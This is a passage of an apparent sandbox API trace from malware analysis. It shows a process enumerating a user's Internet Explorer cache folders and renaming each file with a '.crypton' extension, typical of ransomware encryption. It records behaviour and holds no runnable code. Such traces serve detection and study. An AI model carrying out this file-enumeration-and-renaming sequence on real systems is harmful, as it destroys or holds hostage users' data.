halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[1].js.crypton"), dwFlags=0x2) returned 1 [0200.687] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[2].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[2].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[2].js.crypton"), dwFlags=0x2) returned 1 [0200.690] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\tecjslog[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\tecjslog[1].png.crypton"), dwFlags=0x2) returned 1 [0200.694] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\th[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\th[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\th[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\th[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.893] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\index.dat.crypton"), dwFlags=0x2) returned 1 [0200.901] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf51a96c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf51a96c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0200.921] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\0ff92924-f857-491e-a2ee-c0fe20f0d064[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.949] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\26158[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\26158[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\26158[1].png.crypton"), dwFlags=0x2) returned 1 [0200.954] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa42x3v[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA42x3V[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa42x3v[1].png.crypton"), dwFlags=0x2) returned 1 [0200.957] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa58nqj[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa58nqj[1].png.crypton"), dwFlags=0x2) returned 1 [0200.960] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa61ofl[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa61ofl[1].png.crypton"), dwFlags=0x2) returned 1 [0200.964] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa6sfrq[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa6sfrq[2].png.crypton"), dwFlags=0x2) returned 1 [0200.967] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1vhm[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1vhm[1].png.crypton"), dwFlags=0x2) returned 1 [0200.970] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1xjf[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1xjf[1].png.crypton"), dwFlags=0x2) returned 1 [0200.974] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aalg41q[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aalg41q[1].jpg.crypton"), dwFlags=0x2) returned 1 [0200.977] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aamin0z[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aamin0z[1].png.crypton"), dwFlags=0x2) returned 1 [0200.987] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aanhryj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAnhRyj[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aanhryj[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.008] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adex[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adex[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adex[1].js.crypton"), dwFlags=0x2) returned 1 [0201.023] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adswrappermsni[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\adsWrapperMSNI[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\adswrappermsni[1].js.crypton"), dwFlags=0x2) returned 1 [0201.044] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ae8e984b-1820-4a8d-93dc-392ed6563fb6[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.084] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ast[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ast[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\ast[1].js.crypton"), dwFlags=0x2) returned 1 [0201.091] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\autotrack[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\autotrack[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\autotrack[1].js.crypton"), dwFlags=0x2) returned 1 [0201.095] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb56xto[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb56xto[1].png.crypton"), dwFlags=0x2) returned 1 [0201.098] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb5vo0g[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb5vo0g[1].png.crypton"), dwFlags=0x2) returned 1 [0201.100] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb8adqn[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb8adqn[1].png.crypton"), dwFlags=0x2) returned 1 [0201.106] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbalzyp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBALZyp[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbalzyp[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.110] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbimkp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBImKp[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbimkp[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.118] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmgjo[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmgjo[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.122] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmkdf[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmkdf[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.128] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmqch[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMQch[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmqch[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.144] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmyvh[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMyVh[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmyvh[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.149] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnaf7[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnaf7[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.153] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnntf[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnntf[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.159] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo4dz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo4dz[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.167] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo8ow[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo8ow[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.171] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboaes[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOaeS[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboaes[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.182] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS 